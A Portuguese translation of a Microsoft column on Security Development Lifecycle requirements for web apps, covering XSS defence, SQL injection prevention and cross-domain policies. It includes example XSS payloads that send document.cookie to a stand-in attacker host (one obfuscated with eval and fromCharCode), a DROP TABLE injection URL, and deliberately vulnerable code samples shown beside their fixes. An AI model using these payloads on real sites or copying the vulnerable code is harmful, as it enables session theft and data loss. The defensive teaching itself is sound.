Informativos sobre segurança
O SDL engloba a Web
Bryan Sullivan
Este artigo baseia-se em uma versão de pré-lançamento das orientações e ferramentas do SDL. Todas as informações deste artigo estão sujeitas a alterações.

Sumário
Recentemente, a equipe do Security Development Lifecycle (SDL) divulgou detalhes do processo SDL que tanto colaborou para tornar os produtos da Microsoft mais seguros. Esses documentos estão disponíveis em
microsoft.com/sdl.
À medida que você for lendo esta orientação sobre o SDL, encontrará estratégias para proteger aplicativos cliente/servidor. Estratégias para atenuar vulnerabilidades de estouro de buffer também são discutidas extensivamente. Com nada mais nada menos do que três opções necessárias de compilador e vinculador (/GS, /SAFESEH e /NXCOMPAT), mais ou menos 20 avisos de análise de código (disponíveis com a opção /analyze do Visual Studio® 2005 e versões posteriores) e mais de 150 funções de API excluídas, as vulnerabilidades de estouro parecem ser o inimigo público número 1 do SDL.
O que você não encontrará na documentação do SDL disponível para o grande público é orientação específica para proteger aplicativos da Web ou serviços online. Na verdade, a maioria dos requisitos de não-implementação do SDL aplica-se igualmente a aplicativos cliente/servidor e da Web. É igualmente importante modelar seus aplicativos Web Forms e seus aplicativos Windows® Forms contra riscos. Da mesma maneira, também é importante executar uma Revisão Final da Segurança de um serviço SOAP e de um serviço do Windows. Mas e quanto às vulnerabilidades relacionadas à Web, como script entre sites (XSS) e injeção de SQL? Se o SDL se dedica tanto a defender aplicativos cliente/servidor contra estouros de buffer, por que ele não cuida de defender os serviços online contra ataques de XSS, o inimigo público número 1 da Web?
A resposta é: ele dá atenção a esses problemas. A equipe de Segurança e Conformidade do Microsoft® Online Services tem ajudado a identificar problemas de segurança em aplicativos da Web e a resolvê-los no SDL. No entanto, esses requisitos do SDL anteriormente não estavam disponíveis fora da Microsoft. Os requisitos do SDL específicos de aplicativos da Web são alguns dos mais recentes, e a equipe queria ter certeza de que eles eram demonstrativamente eficazes antes de divulgá-los fora da empresa. À medida que surgem vulnerabilidades online no mercado, a equipe está confiante o suficiente na eficácia dos requisitos do SDL quanto a serviços online para compartilhá-los aqui pela primeira vez.
Observe que o restante desta coluna pressupõe que você esteja familiarizado com problemas de segurança de aplicativos da Web, como XSS e injeção de SQL. Se você não está familiarizado com esses conceitos, leia sobre eles antes de prosseguir — um material de boa qualidade a respeito dessas vulnerabilidades pode ser encontrado no livro 19 Deadly Sins of Software Security (19 pecados mortais da segurança de software), de Michael Howard, David LeBlanc e John Viega (McGraw-Hill 2005).
XSS: o novo estouro de buffer
Em muitos aspectos, uma vulnerabilidade XSS é tão perigosa quanto um estouro de buffer. Os profissionais de segurança — até mesmo os de segurança da Web — normalmente discordam de mim quando digo isso. Mas lembre-se de que algumas das cargas de ataque mais prejudiciais de explorações de estouro de buffer são exatamente iguais a cargas XSS.
Os ataques XSS podem roubar dados pessoais de usuários, como números de cartão de crédito, de conta bancária e senhas, e até mesmo criar worms da Web auto-replicáveis que se espalhem por um site, controlando seus recursos e reduzindo-o a um rastreamento.
Validar todas as entradas
É claro que o XSS deve ser levado a sério, e o SDL faz isso ao exigir que as equipes de serviços online sigam determinados padrões de desenvolvimento. Primeiro, antes de ser processada, toda entrada feita por um usuário, um componente ou outro programa no aplicativo deve ser validada para que se tenha certeza de que ela não contém caracteres de script e marcações inseguras. Digamos, por exemplo, que um usuário insira o seguinte texto em uma caixa de texto:
My name is <a href=
"javascript:document.location='http://fabrikam.com/'+document.cookie">
Amy</a>
Essa entrada deve ser totalmente rejeitada, pois é mal-intencionada. De maneira alternativa, é possível tirar a marcação do texto, que ficaria assim:
Todavia, essa abordagem de remoção para correção é perigosa, uma vez que há várias formas de usar caracteres especiais. O caractere < pode ser codificado como <, <, < ou %3c. A menos que você conheça todas as versões de escape possíveis de todos os caracteres especiais — e provavelmente não conheça — é melhor apenas comparar o valor de entrada com um formato esperado e rejeitá-lo caso não seja correspondente. Mas por quê? O que há de tão errado com as marcas de marcação?
Elas são perigosas porque, até as marcas mais inofensivas, como <b> e <i>, podem conter atributos de script. Seu aplicativo pode não correr riscos com esta entrada:
Mas essa é uma história completamente diferente:
My name is <b onmouseover="document.location = 'http://fabrikam.com/' + document.cookie">Amy</b>
Uma usuária que visualizar essa página e movimentar o ponteiro do mouse sobre a palavra "Amy" inadvertidamente enviará o cookie do documento (que pode conter seu token de autenticação) para fabrikam.com, onde presumivelmente os hackers estarão aguardando para pegá-lo e roubar sua identidade. Para resolver este problema, o SDL autoriza somente uma pequena lista branca de elementos HTML seguros, mostrados na Figura 1, na entrada do usuário.

Figura 1 Marcas HTML permitidas
| <a> |
| <b> |
| <blockquote> |
| <br> |
| <div> |
| <em> |
| <font> |
| <i> |
| <li> |
| <ol> |
| <p> |
| <strong> |
| <u> |
| <ul> |
O SDL também permite um pequeno conjunto de atributos relacionados a esses elementos, mas, antes de entrarmos nesse assunto, é mais importante discutir as técnicas de validação. Uma das técnicas mais eficazes de validação da entrada do usuário é usar uma expressão regular, seja através do controle RegularExpressionValidator ou da classe Regex:
// ensure the user input matches the form of a US ZIP code
if (!Regex.IsMatch(TextBox1.Text,@"^\d{5}$") {
// stop processing this request, it's potentially malicious
throw new HttpRequestValidationException();
}
Esta metodologia é mais simples quando a entrada do usuário deve ter uma estrutura bem definida, como um número de telefone ou endereço de email, mas ela ainda é possível mesmo no caso de entradas com variações maiores, como nomes de pessoas. O teste de expressão regular abaixo irá comparar qualquer combinação de caracteres alfabéticos Unicode mais espaços e apóstrofos (para permitir nomes como O'Brien) com, no mínimo, 1 caractere e, no máximo, 40 caracteres:
if (!Regex.IsMatch(TextBox1.Text,@"^[\p{L}'\s]{1,40}$") {
// stop processing this request, it's potentially malicious
throw new HttpRequestValidationException();
}
A próxima etapa é modificar a expressão regular para permitir marcas de negrito e itálico:
if (!Regex.IsMatch(
TextBox1.Text,@"^([\p{L}'\s]|<b>|</b>|<i>|</i>){1,40}$") {
...
Você poderia continuar modificando essa expressão regular para comparar todos os elementos, atributos e valores de atributo permitidos pelo SDL, mas isso tornaria o procedimento complexo e propenso a erros (e, portanto, propenso a ataques). Na maioria dos casos, será mais simples e seguro negar a marcação totalmente ou definir um subconjunto dos elementos permitidos pelo SDL (como <b> e <i>) e negar atributos nesses elementos.
Usar ValidateRequest
As versões 1.1 e posteriores do ASP.NET incluem uma diretiva de página ValidateRequest que interrompe algumas entradas de usuário mal-intencionadas que poderiam levar a explorações de XSS:
<%@ Page ValidateRequest="true">
Você também pode definir essa propriedade em um arquivo web.config para que ela seja aplicada ao aplicativo inteiro:
<configuration>
<system.web>
<pages validaterequest="true"/>
</system.web>
</configuration>
Como ValidateRequest é habilitada por padrão, tudo o que você precisa fazer é não desabilitá-la explicitamente, seja com diretivas de página ou arquivos de configuração. ValidateRequest bloqueará qualquer solicitação que contenha HTML ou XML. Se a sua página tiver de aceitar entrada em HTML ou XML do usuário, você precisará desabilitar ValidateRequest, mas não se esqueça de seguir as diretrizes de validação de entrada já mencionadas.
Por fim, quero dizer que ValidateRequest atenuará somente os ataques de XSS mais simples. Há muitas brechas bastante conhecidas na lógica de ValidateRequest que permitirão entradas mal-intencionadas. Por isso, embora ainda valha a pena usar ValidateRequest por ela ser basicamente gratuita, é melhor considerá-la uma medida de defesa extrema. A validação de entrada e a codificação de saída apropriadas são bem mais cruciais para a proteção contra XSS. Nunca dependa unicamente de ValidateRequest.
Codificar a saída
Basicamente, as vulnerabilidades de XSS são exploradas quando o script mal-intencionado é executado no navegador da vítima. Uma das defesas mais importantes e eficazes do SDL contra o XSS é codificar a saída antes de ela ser gravada na resposta. Considere o seguinte código C# ASP.NET vulnerável:
<html>
<body>
Hello, <%= Request.QueryString["name"] %>
</body>
</html>
Tudo o que um invasor precisa fazer é criar uma URL com um valor do parâmetro da seqüência de caracteres de consulta "name" que contenha seu script mal-intencionado, enganar um usuário que não desconfie de nada para que siga essa URL, e o código do invasor será executado no navegador do usuário:
http://www.adatum.com/mypage.aspx?name=<script>
document.location='http://fabrikam.com/'%2bdocument.cookie;</script>
No entanto, se você alterar o código-fonte para que codifique a saída antes de gravá-la na resposta, o ataque será negado:
<html>
<body>
Hello, <%= Server.HtmlEncode(Request.QueryString["name"]) %>
</body>
</html>
Agora, o texto <script> do invasor será processado inofensivamente como texto no navegador do usuário e não será executado como conteúdo ativo.
Esta medida de defesa pode ser muito eficiente contra ataques de XSS, mas infelizmente nem sempre é fácil de implementar, como demonstrei no trecho de código anterior. Além disso, para que essa abordagem funcione consistentemente, você deve variar o método de codificação conforme a maneira e o local em que a entrada do usuário é processada na resposta.
Para explicar isso melhor, vou mostrar outro exemplo, que ilustra a entrada do usuário gravada na página não como HTML, mas como um valor de atributo de outro elemento HTML:
<html>
<body>
<img src='image.jpg' alt='<%=Request.QueryString["alt"]%>' />
</body>
</html>
Da maneira como esse código está escrito (sem codificação HTML), ele pode ser explorado trivialmente:
http://www.adatum.com/mypage.aspx?alt='><script>
document.location='http://fabrikam.com/'%2bdocument.cookie;</script>
Você pode adicionar uma chamada a Server.HtmlEncode:
<html>
<body>
<img src='image.jpg'
alt='<%=Server.HtmlEncode(Request.QueryString["alt"])%>' />
</body>
</html>
Mas o código ainda pode ser explorado, se bem que o invasor poderá ter um pouco mais de trabalho:
http://www.adatum.com/mypage.aspx?alt='%20onmouseover=
eval('document.location='.concat(String.fromCharCode(34)).concat('http://fabrikam.com/').
concat(document.cookie).concat(String.fromCharCode(34)))%20foo='bar
Esta seqüência de caracteres de ataque não contém caracteres que seriam afetados pela codificação HTML, como aspas duplas ou sinais de menor/maior.
Você observa que, nesse caso, a codificação HTML simples não oferece proteção suficiente contra o XSS. A codificação HTML também é insuficiente quando a entrada do usuário é gravada como parte de uma URL:
<html>
<body>
<a href="mypage.aspx?foo=<%=Request.QueryString["foo"]%>">
Click me!</a>
</body>
</html>
Ou quando a entrada do usuário é gravada como script:
<html>
<body>
<script>
var name = <%=Request.QueryString["name"]%>;
alert('Hello ' + name + '!');
</script>
</body>
</html>
Na verdade, há sete casos que exigem codificação de saída diferente: HTML simples, atributo HTML, URL, JavaScript, VBScript, XML e atributo XML. Seria muito entediante e propenso a erros tentar cobrir cada um desses casos à medida que eles surgirem no código-fonte. Felizmente, a equipe do Microsoft Application Consulting and Engineering (ACE) criou uma biblioteca de codificação de saída Anti-XSS para ajudar nesse processo; você só precisa fazer uma chamada ao método de codificação apropriado ao formato da saída:
<html>
<body>
Hello, <%=AntiXss.HtmlEncode(Request.QueryString["name"])%>
<img src='image.jpg'
alt='<%=AntiXss.HtmlAttributeEncode(Request.QueryString["alt"])%>'>
</img>
</body>
</html>
O SDL requer o uso da biblioteca Anti-XSS para todos os serviços online com código gerenciado. A versão 1.5 da biblioteca Anti-XSS está disponível para o público em
go.microsoft.com/fwlink/?LinkId=122628.
Usar análise estática para testar vulnerabilidades
O SDL é mais do que apenas orientação e educação; as ferramentas também são uma parte importante do SDL. Ferramentas de análise são especialmente valiosas na fase de verificação (teste de segurança) do SDL, para assegurar que as diretrizes de design e implementação do SDL foram seguidas corretamente e que nenhuma vulnerabilidade em potencial escape pelas brechas.
A equipe do Microsoft Online Services utiliza uma ferramenta de análise estática chamada CAT.NET (forma abreviada em inglês de Análise de Código para .NET). A CAT.NET é exigida pelo SDL e pode detectar muitas das vulnerabilidades de segurança de aplicativos da Web mais predominantes e perigosas, como XSS, injeção de SQL e redirecionamento de sites controlados pelo usuário (o que facilita os ataques de phishing).
Assim como a biblioteca de codificação de saída Anti-XSS, a CAT.NET foi desenvolvida pela equipe do Microsoft ACE. Diferentemente da Anti-XSS, a CAT.NET ainda não está disponível fora da Microsoft. No entanto, há uma versão beta da ferramenta CAT.NET disponível para o público que detecta vulnerabilidades de scripts entre sites. Essa ferramenta é chamada de XSSDetect e pode ser encontrada em
go.microsoft.com/fwlink/?LinkId=122629.
Injeção de SQL
No começo deste ano, milhões de sites desenvolvidos em ASP clássico foram vítima de um ataque misterioso em que marcas de script mal-intencionadas foram incorporadas ao conteúdo da página. O problema foi relatado originalmente como uma possível vulnerabilidade do IIS, mas no fim descobriu-se que o IIS não era o responsável e que os sites apresentavam vulnerabilidades de injeção de SQL que estavam sendo exploradas.
Os sites em ASP eram os únicos afetados porque o invasor tinha uma carga de injeção de SQL específica do SQL Server® e, presumivelmente, adivinhou que era mais provável que os sites em ASP usassem o SQL Server como banco de dados back-end. O ataque rapidamente também se espalhou para sites em ASP.NET, provando duas coisas: a injeção de SQL não vai desaparecer tão cedo e o uso de código gerenciado não protege você contra esse tipo de ataque automaticamente.
O SDL inclui defesa contra injeção de SQL com três requisitos. Primeiro, os aplicativos devem acessar bancos de dados apenas através de procedimentos armazenados parametrizados. Segundo, os procedimentos armazenados não devem usar o comando "EXECUTE @sql". Por último, a conta de serviço do aplicativo deve receber permissão somente para executar esses procedimentos armazenados.
Usar procedimentos armazenados parametrizados
A principal causa das vulnerabilidades de injeção de SQL são comandos SQL criados e executados quando e como necessário, pela concatenação do texto do comando SQL com a entrada do usuário. Veja um exemplo:
// This code is vulnerable to SQL injection - DO NOT USE
SqlCommand command = "SELECT * FROM [CustomerRecord]
WHERE CustomerName = '" + Request["CustomerName"] + "'";
Este código permite que invasores especifiquem um código SQL criado por eles mesmos no valor de parâmetro CustomerName que então será passado para o banco de dados e executado. O problema é que não há uma separação clara entre código e dados. Entretanto, se você alterar o código para usar um procedimento armazenado parametrizado em vez de elaborar o texto do comando rapidamente, poderá impor uma separação mais clara entre código e dados:
SqlCommand command = "FindCustomerRecord";
command.CommandType = CommandType.StoredProcedure;
command.Parameters.Add(new SqlParameter("@CustomerName",
SqlDbType.NVarChar, 16, Request["CustomerName"]));
O código do procedimento armazenado correspondente seria este:
CREATE PROCEDURE dbo.FindCustomerRecord
(
@CustomerName nvarchar(16)
)
AS
SELECT * FROM [CustomerRecord] WHERE CustomerName = @CustomerName
RETURN
Observe que este código, em comparação com o original, oferece proteção contra injeção de SQL.
Como exemplo, digamos que um invasor tente injetar código SQL mal-intencionado criado por ele no parâmetro CustomerName:
http://www.adatum.com/mypage.aspx?CustomerName=foo';DROP%20TABLE%20CustomerRecord
O código do aplicativo agora se livrará do texto da seqüência de caracteres de ataque para ser interpretado corretamente pelo procedimento armazenado como dados e não como texto de comando.
Alguns críticos podem argumentar que não há necessidade real de usar procedimentos armazenados aqui. Esses críticos recomendariam que uma simples consulta parametrizada embutida seria suficiente para proteger contra injeções de SQL:
SqlCommand command =
"SELECT * FROM [CustomerRecord] WHERE CustomerName = @CustomerName";
command.CommandType = CommandType.Text;
command.Parameters.Add(new SqlParameter(
"@CustomerName", SqlDbType.NVarChar, 16, Request["CustomerName "]));
Até certo ponto isso é verdade: se você sempre usar consultas parametrizadas com os tipos de parâmetro especificados corretamente, estará protegido contra a injeção de SQL. Contudo, o uso de procedimentos armazenados pode não só proporcionar melhor desempenho do que as consultas parametrizadas embutidas, como também oferecer outra medida importante de defesa extrema. Ele faz isso permitindo que você defina permissões somente em procedimentos armazenados e mascare os objetos de banco de dados subjacentes da conta de serviço do aplicativo (isso será abordado em mais detalhes mais adiante nesta coluna).
O ponto mais importante que você precisa entender disso tudo é a necessidade de evitar criar comandos SQL ad hoc concatenados a todo custo. O uso de procedimentos armazenados tem vantagens consideráveis, mas, se isso não for possível, utilize consultas parametrizadas embutidas.
Evitar "EXECUTE @sql"
Uma das concepções errôneas que mais persistem sobre a proteção contra injeções de SQL é a de que o uso de procedimentos armazenados por si só impede esse tipo de ataque. É essencial lembrar que o verdadeiro responsável pela injeção de SQL é a seqüência de caracteres de comando concatenada. Portanto, se você simplesmente mover a concatenação da seqüência de caracteres para o código do procedimento armazenado, não estará em melhor situação que antes:
CREATE PROCEDURE dbo.FindCustomerRecord
(
@CustomerName nvarchar(16)
)
AS
EXECUTE('SELECT * FROM [CustomerRecord] WHERE CustomerName = ''' + @CustomerName + '''')
RETURN
O SDL proíbe o uso do comando T-SQL EXECUTE ou EXEC para executar consultas SQL especificadas como argumentos de seqüência de caracteres, conforme ilustrado no exemplo anterior. Esta proibição também se estende a consultas que não concatenam a entrada do usuário no texto do comando diretamente.
Veja um exemplo de procedimento armazenado que pode estar vulnerável a um ataque de injeção de SQL, ainda que não utilize parâmetros:
CREATE PROCEDURE dbo.FindBestCustomerRecord
AS
DECLARE @CustomerName NVARCHAR(16)
SELECT TOP 1 @CustomerName = CustomerName FROM [Purchase] ORDER BY PurchaseAmount
EXECUTE('SELECT * FROM [CustomerRecord] WHERE CustomerName = ''' + @CustomerName + '''')
RETURN
Este procedimento pode parecer seguro, uma vez que não está criando a consulta com base na entrada do usuário. Ou será que está? Se os usuários conseguem especificar seus próprios nomes de cliente, então talvez seja possível que um invasor crie um nome de cliente mal-intencionado que contenha comandos SQL. Nesse caso, quando o procedimento armazenado FindBestCustomerRecord for executado, o texto SQL do invasor também será executado.
Este é um exemplo de vulnerabilidade de injeção de SQL de segunda ordem, em que a carga do ataque não é executada de imediato, mas armazenada no sistema e executada posteriormente por outra função. Ao banir EXECUTE e EXEC quando usados com argumentos de seqüência de caracteres de comandos SQL, o SDL protege contra vulnerabilidades de injeção de SQL de segunda ordem e de primeira ordem mais tradicionais. O único uso aprovado de EXECUTE é para chamar outros procedimentos armazenados, como aqui:
CREATE PROCEDURE dbo.FindBestCustomerRecord
AS
DECLARE @CustomerName NVARCHAR(16)
SELECT TOP 1 @CustomerName = CustomerName FROM [Purchase] ORDER BY PurchaseAmount
EXECUTE FindCustomerRecord @CustomerName
RETURN
Restringir permissões de banco de dados
Como disse anteriormente, o SDL exige que os desenvolvedores usem procedimentos armazenados para acessar um banco de dados. Essa exigência tem o objetivo principal de impedir que os desenvolvedores criem comandos SQL ad hoc concatenados, mas outra excelente vantagem é que você pode restringir as permissões de banco de dados como uma medida defensiva adicional.
A última exigência do SDL em relação à defesa contra injeção de SQL é que você só conceda à conta de serviço do aplicativo a permissão EXECUTE apenas para procedimentos armazenados do banco de dados. Para esclarecer, todas as permissões SELECT, INSERT, UPDATE e DELETE diretas nas tabelas e visualizações do banco de dados devem ser revogadas e somente EXECUTE deve ser concedida nos procedimentos armazenados. Também parece lógico que não deve ser concedido acesso a nenhum procedimento armazenado interno não-utilizado (como xp_cmdshell). Na verdade, esses procedimentos armazenados devem ser desabilitados ou totalmente removidos. Se você estiver usando o SQL Server 2005 ou posterior, utilize a ferramenta Configuração da Área de Superfície para fazer isso.
Esta exigência é única entre as exigências de defesa contra injeção de SQL do SDL, no sentido de que se trata mais de uma medida de defesa extrema do que de uma simples prevenção contra a vulnerabilidade. Se uma vulnerabilidade de injeção de SQL entrar no seu código, restringir as permissões de conta não impedirá que um invasor a encontre. Mas sem acesso direto às tabelas, ele impedirá que o invasor consiga explorar a vulnerabilidade. Ele só conseguirá executar os procedimentos armazenados e, mesmo para fazer isso, terá de saber ou adivinhar os nomes e argumentos dos procedimentos armazenados.
Sem acesso às visualizações do catálogo de objetos, como sys.objects (ou os equivalentes que não são do SQL Server), qualquer ataque cego de injeção de SQL será bem mais difícil, para não dizer impossível. O invasor ficará limitado a ataques de adivinhação ou de força bruta, e nenhum deles é eficiente. Você só não pode facilitar o trabalho do invasor, dando a ele mensagens de erro detalhadas! Defina o modo do elemento de configuração <customErrors> como On ou RemoteOnly para que sejam retornadas mensagens de erro genéricas não-descritivas.
Problemas de confiança entre domínios
Na teoria, a diretiva de mesma origem impede que o código de scripts de cliente executado em um navegador da Web interaja com qualquer outro documento carregado na janela ou no quadro de um navegador, a menos que o documento tenha a mesma origem que a página que está executando o script. Observe que, nesse caso, a "origem" é definida pela combinação do domínio, do protocolo e da porta do documento. Por exemplo, digamos que a sua página está no endereço http://www.adatum.com/page.aspx. A tabela da Figura 2 dá alguns exemplos de sites com os quais a sua página estaria proibida de interagir e informa o motivo da proibição.

Figura 2 Sites entre domínios proibidos
| Site |
Motivo da proibição |
| https://www.adatum.com/page.aspx |
Protocolo diferente |
| http://www.adatum.com:8080/ page.aspx |
Porta diferente |
| http://www.fabrikam.com/page.aspx |
Domínio diferente |
| http://foo.adatum.com/page.aspx |
Domínio diferente |
Do ponto de vista estritamente da segurança, a diretiva de mesma origem é incrivelmente importante e impede sites mal-intencionados de obter acesso não-autorizado a dados de outros sites. No entanto, ela também limita alguns cenários de aplicativos inovadores e úteis (como mashups de cliente), e por isso os desenvolvedores da Web vivem clamando por novos métodos de contorná-la.
Document.domain
Uma forma de contornar a diretiva de mesma origem é editar a propriedade domain do objeto Document do DOM (Document Object Model). Este valor usa como padrão o domínio do qual o documento foi carregado; portanto, no meu exemplo seria www.adatum.com. Todavia, é possível alterar esse valor para um valor menos específico, como adatum.com (sem o www). Se fosse carregada uma página de www.adatum.com e outra de blog.adatum.com e se elas rebaixassem a propriedade document.domain para adatum.com, conseguiriam se comunicar ainda que suas origens fossem diferentes.
É importante observar que a maioria dos navegadores, mas nem todos, proíbe o usuário de rebaixar a propriedade document.domain para o nível do domínio de nível superior (como .com ou .net) ou de alterá-la para um domínio completamente diferente (como www.contoso.com). Estas são as restrições técnicas impostas por navegadores da Web. No entanto, o SDL também impõe suas próprias restrições de diretiva quanto à redução do valor de document.domain, uma vez que isso resulta em implicações de segurança consideráveis.
Ao ampliar o número de sites que podem se comunicar com a página, você também aumenta o número de sites que podem atacar a página usando XSS. Em outras palavras, normalmente www.adatum.com/page.aspx só estaria vulnerável a ataques de XSS provenientes de www.adatum.com. Porém, se você optar por reduzir document.domain para adatum.com, a página também estará vulnerável a ataques de XSS provenientes de alice.adatum.com, de barry.adatum.com e de qualquer outro subdomínio de adatum.com.
Para evitar a perda de dados confidenciais neste cenário, o SDL proíbe qualquer site de reduzir document.domain, a menos que o site não lide com informações de identificação pessoal (PII) de nenhuma maneira e que não trabalhe com dados de médio ou alto impacto para as empresas.
Crossdomain.xml
Outro método bastante conhecido usado para contornar a diretiva de mesma origem é o arquivo de diretiva crossdomain.xml. Crossdomain.xml foi originalmente implementado pela Macromedia (agora parte da Adobe) para permitir que os filmes em Flash se comunicassem com servidores diferentes daqueles dos quais eram carregados. O Microsoft Silverlight 2™ também respeita os arquivos de diretiva crossdomain.xml para permitir que os aplicativos do Silverlight se comuniquem em diferentes domínios.
Os arquivos Crossdomain.xml geralmente são hospedados na raiz do domínio (por exemplo, www.adatum.com/crossdomain.xml) e listam todos os domínios externos aos quais será concedido acesso. Este é um exemplo de arquivo crossdomain.xml:
<cross-domain-policy>
<allow-access-from domain="www.contoso.com"/>
</cross-domain-policy>
Este arquivo configura o servidor para permitir acesso de qualquer aplicativo do Flash ou do Silverlight hospedado em www.contoso.com. Crossdomain.xml também permitirá curingas nas especificações allow-access-from:
<cross-domain-policy>
<allow-access-from domain="*.contoso.com"/>
<allow-access-from domain="*.net"/>
</cross-domain-policy>
É importante observar que esta configuração permite acesso de qualquer subdomínio de contoso.com e também de qualquer site que tenha um domínio de nível superior de .net. Na verdade, se quiser, você pode até mesmo conceder acesso à Internet inteira:
<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>
Talvez previsivelmente, o SDL tenha uma percepção vaga dessas configurações demasiado permissivas. O uso de crossdomain.xml é coberto pelas seguintes regras: primeiro, se um site não deve ser acessado por outros domínios, todos os arquivos crossdomain.xml devem ser removidos do site. Esta é uma redução direta da superfície de ataque. Segundo, se um site é destinado para acesso por outros domínios e tem funcionalidade de aplicativo disponível somente para usuários autenticados, o site pode hospedar um arquivo crossdomain.xml, mas o arquivo não pode conter curingas em seus elementos allow-access-from. Todos os domínios autorizados devem ser totalmente qualificados.
Somente se todos os aplicativos do site forem completamente públicos (e isso significa a inexistência de acesso autenticado e de PII) o SDL permitirá entradas com curinga de crossdomain.xml de amplo alcance que concedam acesso à Internet inteira. Lembre-se de que, se você escolher esta opção, seguramente precisará observar com atenção todos os aplicativos do domínio para ter certeza de que nenhuma funcionalidade que exija autenticação jamais será adicionada. Na prática, provavelmente será tanto mais fácil quanto mais seguro evitar curingas e especificar explicitamente os sites que precisam de acesso.
Estamos apenas começando
Espero que você considere informativa esta primeira análise dos requisitos de aplicativos da Web do SDL e que aproveite a oportunidade para implementá-los nas equipes de desenvolvimento para a Web da sua organização. E tenha certeza de que não vamos parar por aqui. A equipe do SDL tem vários novos requisitos específicos para a Web que estão em fase de teste beta por grupos de serviços online na Microsoft. À medida que esses requisitos forem aprovados nos testes beta e se tornarem membros completos do SDL, manteremos o blog do SDL (blogs.msdn.com/sdl) atualizado com mais informações sobre eles.
Bryan gostaria de agradecer a Spencer Low pela contribuição a esta coluna e a Grant Bugher, Martin Rues e Shankar Bharadwaj pelo empenho em trazer os requisitos de serviços online para o SDL.
Bryan Sullivan é gerente de programas de segurança da equipe do Microsoft Security Development Lifecycle, onde atua como especialista em problemas de segurança de aplicativos da Web. Seu primeiro livro,
Ajax Security (Segurança no Ajax), foi publicado pela Addison-Wesley em dezembro de 2007.